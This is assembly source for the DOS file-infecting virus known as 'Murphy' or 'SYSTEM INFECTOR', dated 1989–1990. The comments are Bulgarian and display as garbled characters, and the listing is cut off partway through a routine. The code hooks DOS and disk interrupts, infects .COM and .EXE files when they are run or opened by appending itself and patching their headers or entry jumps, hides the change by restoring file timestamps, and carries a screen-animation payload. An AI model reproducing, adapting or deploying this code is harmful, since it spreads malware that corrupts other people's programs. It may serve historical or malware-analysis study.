home *** CD-ROM | disk | FTP | other *** search
- ;
- ; dynamic self loader
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; SYSTEM INFECTOR
- ;
- ;
- ; Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow
- ;
- ; All rights reserved.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- page ,132
-
- title SYSTEM INFECTOR
-
- comp13 = offset kt1 - offset org13
- comp21 = offset kt1 - offset new21
- compbuff = offset kt1 - offset buffer
- compbuff1 = offset kt1 - offset buffer1
- comp_code = offset kt1 - offset my_code
- vir_length = offset endpr - offset entry_point
- Cred = offset virus - offset credits
-
-
- code segment ; ¡á⌐ - ó᪡¿┐ ▒Ñú¼Ñ¡▓ !!!
-
- assume cs:code ; ¿¡¿╢¿á½¿º¿░á¡Ñ ¡á CS
-
- org 100h ; ¡á╖á½Ñ¡ áñ░Ñ▒ ¡á »░«ú░á¼á▓á
-
- entry_point: ; ó╡«ñ¡á ▓«╖¬á
- jmp point1 ; ▒¬«¬ ó »░«ú░á¼á▓á ºá │▒▓á¡«ó┐óá¡Ñ ¡á ó¿░│▒á
-
- buffer db 18h dup (0c3h) ; ╖Ñ▓¿░¿ »« RET
- buffer1 db 4 dup (0c3h) ; ▓░¿ »« RET
- my_code dw ?
- time dw ?
- date dw ?
- old_len dd ?
- new21 dd ? ; ¼┐▒▓« ºá ¡«ó¿┐ óѬ▓«░
- old24 dd ?
- org13 dd ?
- old13 dd ?
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; çá ¡Ñºá¬«¡¡« ¬«»¿░á¡Ñ ╣Ñ «▓¿ñÑ▓Ñ ó ºá▓ó«░á !
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- credits:
- db ' It''s me - Murphy. '
- db ' Copywrite (c)1990 by Lubo &'
- db ' Ian, Sofia, USM Laboratory. '
-
- virus proc near ;
- call time_kill ; »░«óÑ░¬á ºá ñá▓á ¿ ╖á▒
- cmp ax,4b00h+'M' ; äÄæ ┤│¡¬╢¿┐ EXEC ?
- jnz @05
- push bp
- mov bp,sp
- and word ptr [bp+6],0fffeh
- pop bp
- iret
- @05:
- cmp ah,4bh ; äÄæ ┤│¡¬╢¿┐ EXEC ?
- jz p0
- cmp ax,3d00h ; äÄæ ┤│¡¬╢¿┐ OPEN ?
- jz p0 ; ñá !
- cmp ax,6c00h ; »░«óÑ░¬á ºá DOS Fn 6C
- jnz @04 ; ¿¼á ¿ ñ░│ú ¡á╖¿¡
- cmp bl,0 ; ¡«░¼á½¡« «▓óá░┐¡Ñ
- jz p0 ; ºá░áº┐óá¡Ñ
- @04:
- jmp do_not_bite ; ¡Ñ - »░Ñ╡«ñ ¬║¼ ▒▓á░¿┐ óѬ▓«░
- p0: ;
- push es ; ºá»áºóá¡Ñ ¡á ES ,
- push ds ; DS ,
- push di ; DI ,
- push si ; SI ,
- push bp ; BP ,
- push dx ; DX ,
- push cx ; CX ,
- push bx ; BX ,
- push ax ; ¿ AX
- call ints_on
- call ints_off
- cmp ax,6c00h ; »░«óÑ░¬á ºá OPEN
- jnz kt6 ; »░Ñ▒¬á╖á¡Ñ
- mov dx,si ; íѺ ñ│¼¿
- kt6:
- mov cx,80h ; ¼á¬▒¿¼á½¡á ñ║½ª¿¡á ¡á ┤á⌐½«óá▓á
- mov si,dx ; ▒»Ñ╢¿┤¿¬á╢¿┐
- while_null: ;
- inc si ; »«½│╖áóá¡Ñ ¡á
- mov al,byte ptr ds:[si] ; ┤á⌐½«óá▓á
- or al,al ; ▒»Ñ╢¿┤¿¬á╢¿┐
- loopne while_null ; ¬░á⌐ ¡á ASCIIZ ?
- sub si,02h ; 2 ▒¿¼ó«½á ¡áºáñ
- cmp word ptr ds:[si],'MO' ; »░«óÑ░¬á ºá .COM - ┤á⌐½
- jz @03
- cmp word ptr ds:[si],'EX'
- jz @06
- go_away:
- jmp @01 ; ªá½¬« -> no_ill_it
- @06:
- cmp word ptr ds:[si-2],'E.' ;
- jz go_forward ;
- jmp short go_away
- @03:
- cmp word ptr ds:[si-2],'C.' ; «╣Ñ ¡¿╣« ¡Ñ Ñ ºáú│íÑ¡«...
- jnz go_away ; .COM ┤á⌐½
- go_forward: ;
- mov ax,3d02h ; äÄæ ┤│¡¬╢¿┐ 3d /«▓óá░┐¡Ñ ¡á ┤á⌐½/ - ░Ѫ¿¼ ¡á ñ«▒▓║» 010b - ╖Ñ▓Ñ¡Ñ ¿ ºá»¿▒
- call int_21 ; ó░║╣á ┤á⌐½«ó¿┐ ¼á¡¿»│½á▓«░ ó AX ᬫ CF = 0
- jc @01 ;
- mov bx,ax ; ºá»áºóá¡Ñ ¡á ┤á⌐½«ó¿┐ ¼á¡¿»│½á▓«░ ó BX
- mov ax,5700h ;
- call int_21 ;
- mov cs:[time],cx ;
- mov cs:[date],dx ;
- mov ax,4200h ; äÄæ ┤│¡¬╢¿┐ 42
- xor cx,cx ; ¡│½¿░á¡Ñ ¡á CX
- xor dx,dx ; │▒▓á¡«ó┐óá¡Ñ ¡á │¬áºá▓ѽ┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
- call int_21 ; INT 21
- push cs ; │▒▓á¡«ó┐óá¡Ñ
- pop ds ; DS := CS
- mov dx,offset buffer ; ¿º╖¿▒½┐óá¡Ñ ¡á áñ░Ñ▒á ¡á buffer
- mov si,dx
- mov cx,0018h ; ╕Ñ▒▓ íá⌐▓á
- mov ah,3fh ; äÄæ ┤│¡¬╢¿┐ 3FH /╖Ñ▓Ñ¡Ñ «▓ ┤á⌐½/
- call int_21 ; »░«╖¿▓á¡Ñ ¡á »║░ó¿▓Ñ 8 íá⌐▓á ó buffer
- jc close_file
- cmp word ptr ds:[si],'ZM'
- jnz @07
- call exe_file
- jmp short close_file
- @07:
- call com_file
- close_file:
- jc skip_restore_date
- mov ax,5701h
- mov cx,cs:[time]
- mov dx,cs:[date]
- call int_21
- skip_restore_date:
- mov ah,3eh ; äÄæ ┤│¡¬╢¿┐ 3E - ºá▓óá░┐¡Ñ ¡á ┤á⌐½
- call int_21 ; INT 21
- @01:
- call ints_off
- pop ax ; ó║º▒▓á¡«ó┐óá¡Ñ ¡á AX ,
- pop bx ; BX ,
- pop cx ; CX ,
- pop dx ; DX ,
- pop bp ; BP ,
- pop si ; SI ,
- pop di ; DI ,
- pop ds ; DS ,
- pop es ; ES
- do_not_bite:
- jmp dword ptr cs:[new21] ; »░Ñ╡«ñ ¬║¼ ▒▓á░¿┐ óѬ▓«░
- virus endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; Subroutine for .EXE file
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- exe_file proc near
- mov cx,word ptr ds:[si+16h] ; ºá░Ѫñá¡Ñ ¡á «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS í »á░áú░á┤¿
- add cx,word ptr ds:[si+08h] ; ▒║í¿░á¡Ñ ¡á »░Ñ┤¿¬▒á (ó »á░áú░á┤¿) ▒ ¡Ñú«
- mov ax,10h
- mul cx ; │¼¡«ªáóá¼Ñ ú¿ ▒ 10h ¿ »«½│╖áóá¼Ñ
- add ax,word ptr ds:[si+14h] ; áí▒«½╛▓¡«▓« «▓¼Ñ▒▓óá¡Ñ ¡á
- adc dx,0 ; ó╡«ñ¡á▓á ▓«╖¬á ¬á▓« ▒║í¿░á¼Ñ ¿ IP
- push dx ; ºá»áºóá¼Ñ ú¿ ó ▒▓Ñ¬á ºá »«-¡á▓á▓║¬
- push ax
- mov ax,4202h ; ╡óá▓¬á ºá »«½│╖áóá¡Ñ
- xor cx,cx
- xor dx,dx ; ¡á ñ║½ª¿¡á▓á ¡á
- call int_21 ; ┤á⌐½á ó DX:AX
- cmp dx,0
- jnz go_out ; »░«óÑ░¬á ºá ñ║½ª¿¡á▓á ¡á
- cmp ax,vir_length ; ┤á⌐½á ╡á░Ñ▒á¡ «▓ ó¿░│▒á
- jnb go_out ; ᬫ Ñ óÑ╖Ñ ╡á░Ñ▒á¡ «▓ ¡Ñú« -
- pop ax ; Go out !
- pop dx
- stc
- ret
- go_out:
- mov di,ax ; ºá»áºóá¡Ñ ¡á AX ó DI
- mov bp,dx ; ¿ DX ó BP
- pop cx ; ¿ºóáªñá¼Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á
- sub ax,cx ; ó╡«ñ¡á▓á ▓«╖¬á «▓ ñ║½ª¿¡á▓á ¡á ┤á⌐½á
- pop cx ; ¿ »«½│╖áóá¼Ñ ñ║½ª¿¡á▓á ¡á
- sbb dx,cx ; »░«ú░á¼á▓á ▒½Ññ ó╡«ñ¡á▓á ▓«╖¬á
- cmp word ptr ds:[si+0ch],00h; »░«óÑ░¬á ºá «»╢¿┐
- je exitp ; /HIGH
- cmp dx,0 ; ▒░áó¡┐óá¼Ñ ú¿ ▒ ñ║½ª¿¡á▓á ¡á ó¿░│▒á
- jne ill_it ; ¿ ᬫ ¡á ▒á ░áó¡¿ ½Ñ»óá¼Ñ ú« ▓á¼ ¿
- cmp ax,vir_length ; ▓.¡. . . .
- jne ill_it
- stc
- ret
- ill_it:
- mov dx,bp ; »░«╖¿▓á¼Ñ ñ║½ª¿¡á▓á ¡á
- mov ax,di ; ¡á »░«ú░á¼á▓á
- push dx ; push óá¼Ñ ú¿
- push ax ; ºá »«-¡á▓á▓║¬
- add ax,vir_length ; ▒║í¿░á¼Ñ ┐ ▒
- adc dx,0 ; ñ║½ª¿¡á▓á ¡á Murphy
- mov cx,512 ; ñѽ¿¼ ┐ ¡á 512 íá⌐▓á
- div cx
- les di,dword ptr ds:[si+02h]; ºá░Ѫñá¡Ñ ¡á ▒▓á░á▓á ñ║½ª¿¡á
- mov word ptr cs:[old_len],di; ºá»áºóá¡Ñ ó ▓┐½«▓«
- mov word ptr cs:[old_len+2],es;ºá»áºóá¡Ñ ó ▓┐½«▓«
- mov word ptr ds:[si+02h],dx ; ¿ ┐ ºá»¿▒óá¼Ñ
- cmp dx,0
- jz skip_increment
- inc ax
- skip_increment:
- mov word ptr ds:[si+04h],ax ; ó í│┤Ñ░á
- pop ax ; ╖Ñ▓Ѽ ñ║½ª¿¡á▓á ¡á ┤á⌐½á
- pop dx ; «▓ ▒▓Ѭá
- call div10h ; ñѽ¿¼ ┐ ¡á 10h ¿ ┐ »«½│╖áóá¼Ñ ó AX:DX
- sub ax,word ptr ds:[si+08h] ; ¿ºóáªñá¼Ñ »░Ñ┤¿¬▒á
- les di,dword ptr ds:[si+14h]; »░«╖¿▓á¡Ñ ¡á ▒▓á░¿▓Ñ
- mov word ptr ds:[buffer1],di; CS:IP ¿ ºá»¿▒
- mov word ptr ds:[buffer1+02h],es ; ó ▓┐½«▓«
- mov word ptr ds:[si+14h],dx ; ºá»¿▒ ¡á ¡«ó¿┐ IP ó í│┤Ñ░á
- mov word ptr ds:[si+16h],ax ; ºá»¿▒ ¡á ¡«ó¿┐ CS ó í│┤Ñ░á
- mov word ptr ds:[my_code],ax; ºá»¿▒ ¡á ¡«ó¿┐ CS ó║ó ▓┐½«▓«
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- call int_21
- call paste
- jc exitp
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- call int_21
- mov ah,40h
- mov dx,si
- mov cx,18h
- call int_21
- exitp:
- ret
-
- exe_file endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; Subroutine for dividing
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- div10h proc near
- mov cx,04h
- mov di,ax
- and di,000fh
- dividing:
- shr dx,1
- rcr ax,1
- loop dividing
- mov dx,di
- ret
- div10h endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; Subroutine for virus moving
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- paste proc near
- mov ah,40h ; äÄæ ┤│¡¬╢¿┐ 40h /ºá»¿▒ ó║ó ┤á⌐½ ¿½¿ │▒▓░«⌐▒▓ó«/
- mov cx,vir_length ; ¿º╖¿▒½┐óá¡Ñ ñ║½ª¿¡á▓á ¡á ó¿░│▒á
- mov dx,offset entry_point ; DS:DX ▓░┐íóá ñá ▒«╖á▓ áñ░Ñ▒á ¡á ºá»¿▒á
- call ints_on ; ºá«í¿¬á½┐¡Ñ ¡á ╖á▒«ó¡¿¬á (R/W)
- jmp int_21 ; ºá»¿▒ ó║ó ┤á⌐½á
- paste endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; Subroutine for .COM file
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- com_file proc near
-
- mov ax,4202h ; äÄæ ┤│¡¬╢¿┐ 42 /»░ѼÑ▒▓óá¡Ñ ¡á ▓Ѭ│╣¿┐ │¬áºá▓ѽ ó║ó ┤´á /AL=2 - ó ¬░á┐/
- xor cx,cx ; │▒▓á¡«ó┐óá¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
- xor dx,dx ; CX ¿ DX /ᬫ CX:DX = 0 , ó DX:AX ▒Ñ »«½│╖áóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á/
- call int_21 ; │▒▓á¡«ó┐óá¡Ñ ó ¬░á┐ ¡á ┤á⌐½á
- cmp ax,vir_length ; ▒░áó¡┐óá¡Ñ ¡á ñ║½ª¿¡á▓á ¡á ó¿░│▒á
- jb short no_ill_it ; ▒ »░«ú░á¼á▓á ¿ »░Ñ╡«ñ ó ¬░á┐ ᬫ
- cmp ax,64000 ; ñ║½ª¿¡á▓á ¡á »░«ú░á¼á▓á Ñ < ñ║½ª. ¡á
- jnb short no_ill_it ; ó¿░│▒á ¿½¿ > 0ffff-ñ║½ª. ¡á ó¿░│▒á - 20h
- push ax ; ▒║╡░á¡┐óá¡Ñ ¡á AX
- cmp byte ptr ds:[si],0E9h ; »░«óÑ░¬á ºá JMP ó ¡á╖Ὣ▓« ¡á »░«ú░á¼á▓á
- jnz illing ; ìÑ? - îÑ░▒¿! Æ«úáóá ºá░áº┐óá¼Ñ.
- sub ax,vir_length + 3 ; »«½│╖áóá¡Ñ ¡á ñ║½ª¿¡á▓á ¡á »░«ú░á¼á▓á íѺ ó¿░│▒á /ÑóÑ¡▓│ὡ«/
- cmp ax,ds:[si+1] ; »░«óÑ░¬á ºá »░«ú░á¼á▓á ºá½Ñ»Ñ¡á ó ¬░á┐
- jnz illing ; ìÑ? ...
- pop ax ; «▒ó«í«ªñáóá¡Ñ ¡á ▒▓Ѭá
- stc
- ret
- illing:
- call paste
- jnc skip_paste
- pop ax
- ret
- skip_paste:
- mov ax,4200h ; äÄæ ┤│¡¬╢¿┐ 42
- xor cx,cx ; ¡│½¿░á¡Ñ ¡á CX
- xor dx,dx ; │▒▓á¡«ó┐óá¡Ñ ¡á │¬áºá▓ѽ┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
- call int_21 ; ¿º»║½¡Ñ¡¿Ñ ¡á ┤│¡¬╢¿┐▓á
- pop ax ; ╖Ñ▓Ñ¡Ñ ¡á AX
- sub ax,03h ; ¿º╖¿▒½┐óá¡Ñ ¡á «»Ñ░á¡ñá ¡á JMP-á
- mov dx,offset buffer1 ; ºáñáóá¡Ñ ¡á áñ░Ñ▒á ¡á ºá»¿▒á ó DS:DX
- mov si,dx
- mov byte ptr cs:[si],0e9h ; ºá»¿▒ ¡á 09H (JMP) ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
- mov word ptr cs:[si+1],ax ; «»Ñ░á¡ñá ¡á JMP-á ó »«½Ñ▓« ºá ºá»¿▒
- mov ah,40h ; äÄæ ┤│¡¬╢¿┐ 40h /ºá»¿▒ ó║ó ┤á⌐½ ¿½¿ │▒▓░«⌐▒▓ó«/
- mov cx,3 ; ºá»¿▒ ▒Ἣ ¡á 3 íá⌐▓á
- call int_21 ; ¿º»║½¡Ñ¡¿Ñ ¡á ┤│¡¬╢¿┐▓á
- no_ill_it:
- ret
-
- com_file endp
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; Subroutine for calling of an 'int 21h'
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- int_21 proc near
- pushf
- call dword ptr [new21]
- ret
- int_21 endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; This subroutine changes the int 24h vector to me
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ints_on proc near
- push ax
- push ds
- push es
- xor ax,ax
- push ax
- pop ds
- cli
- les ax,dword ptr ds:[24h*4]
- mov word ptr cs:[old24],ax
- mov word ptr cs:[old24+2],es
- mov ax,offset int_24
- mov word ptr ds:[24h*4],ax
- mov word ptr ds:[24h*4+2],cs
- les ax,dword ptr ds:[13h*4]
- mov word ptr cs:[old13],ax
- mov word ptr cs:[old13+2],es
- les ax,dword ptr cs:[org13]
- mov word ptr ds:[13h*4],ax
- mov word ptr ds:[13h*4+2],es
- sti
- pop es
- pop ds
- pop ax
- ret
- ints_on endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; This subroutine restores the int 24h vector
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ints_off proc near
- push ax
- push ds
- push es
- xor ax,ax
- push ax
- pop ds
- cli
- les ax,dword ptr cs:[old24]
- mov word ptr ds:[24h*4],ax
- mov word ptr ds:[24h*4+2],es
- les ax,dword ptr cs:[old13]
- mov word ptr ds:[13h*4],ax
- mov word ptr ds:[13h*4+2],es
- sti
- pop es
- pop ds
- pop ax
- ret
- ints_off endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; This subroutine works the int 24h
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- int_24 proc far
- mov al,3
- iret
- int_24 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; îá⌐▓á» ▒ íѺºá╣¿▓¡¿▓Ñ ╡«░¿╢á
- ;
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- joke proc far
- push ax ; ºá»áºóá¡Ñ
- push bx
- push cx ; ¡á
- push dx
- push si
- push di
- push bp
- push ds ; ░Ñú¿▒▓░¿▓Ñ
- push es
- xor ax,ax
- push ax
- pop ds
- mov bh,ds:[462h]
- mov ax,ds:[450h]
- mov cs:[old_pos],ax
- mov ax,cs:[pos_value]
- mov word ptr ds:[450h],ax
- mov ax,word ptr cs:[spot_buff]
- mov bl,ah
- mov ah,09h
- mov cx,1
- int 10h
- call change_pos
- call push_spot
- mov ax,cs:pos_value
- mov word ptr ds:[450h],ax
- mov bl,07h
- mov ax,0907h
- mov cx,1
- int 10h
- mov ax,cs:[old_pos]
- mov ds:[450h],ax
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- jmp dword ptr cs:[old_1ch]
-
-
- spot_buff dw ?
- pos_value dw 1010h
- direction db 0
- old_1ch dd ?
- old_pos dw ?
-
- change_pos proc near
- mov ax,cs:[pos_value]
- mov bx,word ptr ds:[44ah]
- dec bx
- test cs:[direction],00000001b
- jz @001
- cmp al,bl
- jb @002
- xor cs:[direction],00000001b
- jmp short @002
- @001:
- cmp al,0
- jg @002
- xor cs:[direction],00000001b
- @002:
- test cs:[direction],00000010b
- jz @003
- cmp ah,24
- jb @005
- xor cs:[direction],00000010b
- jmp short @005
- @003:
- cmp ah,0
- jg @005
- xor cs:[direction],00000010b
- @005:
- cmp byte ptr cs:spot_buff,20h
- je skip_let
- cmp byte ptr cs:[pos_value+1],0
- je skip_let
- xor cs:[direction],00000010b
- skip_let:
- test cs:[direction],00000001b
- jz @006
- inc byte ptr cs:[pos_value]
- jmp short @007
- @006:
- dec byte ptr cs:[pos_value]
- @007:
- test cs:[direction],00000010b
- jz @008
- inc byte ptr cs:[pos_value+1]
- jmp short @009
- @008:
- dec byte ptr cs:[pos_value+1]
- @009:
- ret
- change_pos endp
-
- push_spot proc near
- mov ax,cs:[pos_value]
- mov word ptr ds:[450h],ax
- mov bh,ds:[462h]
- mov ah,08h
- int 10h
- mov word ptr cs:[spot_buff],ax
- ret
- push_spot endp
- joke endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; Subroutine for check current time
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- time_kill proc near ;
- push ax ; ºá»áºóá¡Ñ
- push bx
- push cx ; ¡á
- push dx
- push si
- push di
- push bp
- push ds ; ░Ñú¿▒▓░¿▓Ñ
- push es
- xor ax,ax ; »«½│╖áóá¡Ñ ¡á
- push ax
- pop ds
- cmp word ptr ds:[1Ch*4],offset joke
- je next_way
- mov ax,ds:[46ch]
- mov dx,ds:[46ch+2]
- mov cx,0ffffh
- div cx
- cmp ax,10
- jne next_way
- cli
- mov bp,word ptr ds:[450h]
- call push_spot
- mov ds:[450h],bp
- les ax,ds:[1ch*4]
- mov word ptr cs:[old_1ch],ax
- mov word ptr cs:[old_1ch+2],es
- mov word ptr ds:[1Ch*4],offset joke
- mov word ptr ds:[1Ch*4+2],cs
- sti
- next_way:
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- time_kill endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; Subroutine for multiplication
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- sub_10 proc near
- mov dx,10h
- mul dx ; dx:ax = reg * ax
- ret
- sub_10 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ;
- ; ? ? ? ? ? ? ? ?
- ;
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- zero_regs proc near
-
- xor ax,ax
- xor bx,bx
- xor cx,cx
- xor dx,dx
- xor si,si
- xor di,di
- xor bp,bp
- ret
-
- zero_regs endp
-
-
- point1: ;
- push ds
- call kt1 ; ▓░¿¬ ºá
- kt1: ; ¿º╖¿▒½┐óá¡Ñ ¡á «▓¼Ñ▒▓óá¡Ñ▓«
- mov ax,4b00h + 'M' ; ¡á kt1
- int 21h
- jc stay
- jmp go_to_program ;
- stay: ;
- pop si ;
- push si ;
- mov di,si ;
- xor ax,ax ; Zero register
- push ax ;
- pop ds ;
- les ax,ds:[13h*4] ; (0000:004C=6E5h) Load 32 bit ptr
- mov cs:[si-comp13],ax ; (64BB:06F4=9090h)
- mov cs:[si-comp13+2],es ; (64BB:06F6=9090h)
- les bx,ds:[21h*4]
- mov word ptr cs:[di-comp21],bx ; «▓¼Ñ▒▓óá¡Ñ
- mov word ptr cs:[di-comp21+2],es ; ▒Ñú¼Ñ¡▓
- mov ax,ds:[102h] ; (0000:0102=0F000h)
- cmp ax,0F000h
- jne loc_14 ; Jump if not equal
- mov dl,80h
- mov ax,ds:[106h] ; (0000:0106=0C800h)
- cmp ax,0F000h
- je loc_7 ; Jump if equal
- cmp ah,0C8h
- jb loc_14 ; Jump if below
- cmp ah,0F4h
- jae loc_14 ; Jump if above or =
- test al,7Fh ; ''
- jnz loc_14 ; Jump if not zero
- mov ds,ax
- cmp word ptr ds:[0],0AA55h ; (C800:0000=0AA55h)
- jne loc_14 ; Jump if not equal
- mov dl,ds:[02h] ; (C800:0002=10h)
- loc_7:
- mov ds,ax
- xor dh,dh ; Zero register
- mov cl,9
- shl dx,cl ; Shift w/zeros fill
- mov cx,dx
- xor si,si ; Zero register
-
- locloop_8:
- lodsw ; String [si] to ax
- cmp ax,0FA80h
- jne loc_9 ; Jump if not equal
- lodsw ; String [si] to ax
- cmp ax,7380h
- je loc_10 ; Jump if equal
- jnz loc_11 ; Jump if not zero
- loc_9:
